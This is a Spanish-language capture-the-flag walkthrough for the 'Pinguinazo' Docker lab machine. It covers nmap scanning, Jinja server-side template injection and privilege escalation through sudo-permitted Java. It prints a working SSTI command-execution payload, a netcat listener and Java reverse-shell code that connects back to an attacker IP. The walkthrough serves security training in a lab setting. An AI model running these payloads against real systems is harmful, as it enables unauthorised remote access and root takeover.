dockerlabs.es: máquina Pinguinazo
blog
Kali Linux
Netcat
Privilege Escalation
Pentesting
Cybersecurity
CVE
Exploits
Linux
Reverse Shell
Post Exploitation
Descripción
En esta guía, veremos como podremos vulnerar una máquina realizada en imágenes docker la cual vamos a examinar, a hacer varias reverse shell y además de, conocer un poco acera de las SSTI (Server Side Template Injection)
Enlace de Lab:
Dificultad:
Fácil.
Solución
Para iniciar el proceso de vulnerar
esta máquina, lo primero que haremos es con ayuda de nmap
ver a qué nos estamos enfrentando.
nmap -p- -Pn -sS --min-rate 5000 --open 172.17.0.2 -oX report.xml -v
donde:
-p-
: Escanea todos los puertos existentes (0-65365)
-Pn
: Evita que nmap
realice un descubrimiento de host antes de realizar el escaneo
-sS
: Realiza un escaneo de puertos TCP mediante un escaneo SYN. Esto implica enviar un paquete SYN y esperar una respuesta; si el puerto está abierto, el host responderá con un paquete SYN-ACK
--min-rate
: Configura la tasa mínima de paquetes enviados a 5000 paquetes por segundo. Esto acelera el escaneo, ya que nmap
enviará paquetes a una tasa muy alta
--open
: Esta opción le indica a nmap
que sólo muestre los puertos que están abiertos.
-oX
: Guarda la salida del escaneo en un archivo XML llamado report.xml
-v
: Aumenta la verbosidad de la salida de nmap
, proporcionando más detalles sobre lo que está haciendo nmap
.
Obtenemos 1 puerto abierto, 5000 -> upnp?
.
Ahora es momento de ver con qué versiones nos estamos enfrentando de cada servicio. Para ello implementamos el código:
nmap -sCV -p5000 172.17.0.2-oN ports_version
Donde:
-sC
: Esta opción le dice a nmap
que ejecute scripts predeterminados contra los puertos encontrados.
-sV
: Le indica a nmap
que intente determinar la versión de los servicios que se están ejecutando en los puertos abiertos.
sCV es la combinación de ambos comandos.
Nos fijamos que tiene un puerto abierto.
puerto 5000
: servicio upnp?
Lo primero que haremos es ver los vectores de entrada que tiene el puerto 5000
, vemos que es una template hecha con Jinja
Vemos que es una web con un formulario básico que pide cierta información. Veremos si es vulnerable a html injection
escribimos en PinguNombre
el siguiente comando:
<h1>Canary</h1>
Y vemos que es vulnerable
Intentamos hacer un SSTI (Server Side Template Injection)
{ { 7*7 } } (sin los espacios)
Y vemos que es vulnerable a este ataque.
Ahora es momento de correr comandos de linux, navegando en internet podemos encontrar varias web que nos ofrecen payloads y comandos ya listos.
En esta página web 1 encontramos varios payloads
.
Ejecutar uno para determinar qué usuario somos
{ { request.application.__globals__.__builtins__.__import__('os').popen('id').read() } }
Ejecutando el comando id
vemos que pertenecemos al grupo pinguinazo
Ya que podemos correr comandos a nivel de sistema, es momento de hacer una reverse shell
para tener acceso al servidor
Abrimos un puerto en nc
en modo de escucha con el siguiente comando:
nc -lvnp 443
Presionamos el botón save all
y volvemos a nuestra nc
en modo escucha, obtendremos lo siguiente:
Vemos que somos el usuario Pinguinazo
, es momento de tratar la bash, más que nada para poder hacer ctrl+c
sin matar la reverse shell
y ctrl+l
para poder limpiar la pantalla:
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
Si hacemos nano, vi o cat, la pantalla nos aparecerá pequeña y no podremos crear archivos con total libertad. Para ello, corremos lo siguiente:
Abrimos una terminal nueva y corremos:
stty size
Nos aparecerán dos números, el primero corresponde a las rows
y el segundo a columns
.
Abrimos la reverse shell
y corremos el siguiente código:
stty rows 24 columns 128
Una vez ya tratamos la tty
es momento de buscar una vía para escalar privilegios
. Para eso, ejecutamos el comando
sudo -l
Vemos que podemos ejecutar como usuario root
sin necesidad de password el binario de java
No hay ninguna forma de escalar con permisos, como el caso de python
, ruby
o php
.
Así que haremos una reverse shell y abrimos otra terminal con nc
en nuestra máquina local.
Si vamos al a web de revshell
2 y en la sección de java
copiamos la siguiente:
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/443 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Con nuestra nueva nc
en modo escucha
Corremos el script de la siguiente forma:
sudo /usr/bin/java reverse_shell.java
Y vemos que recibimos la conexión como usuario root
en nuestra máquina.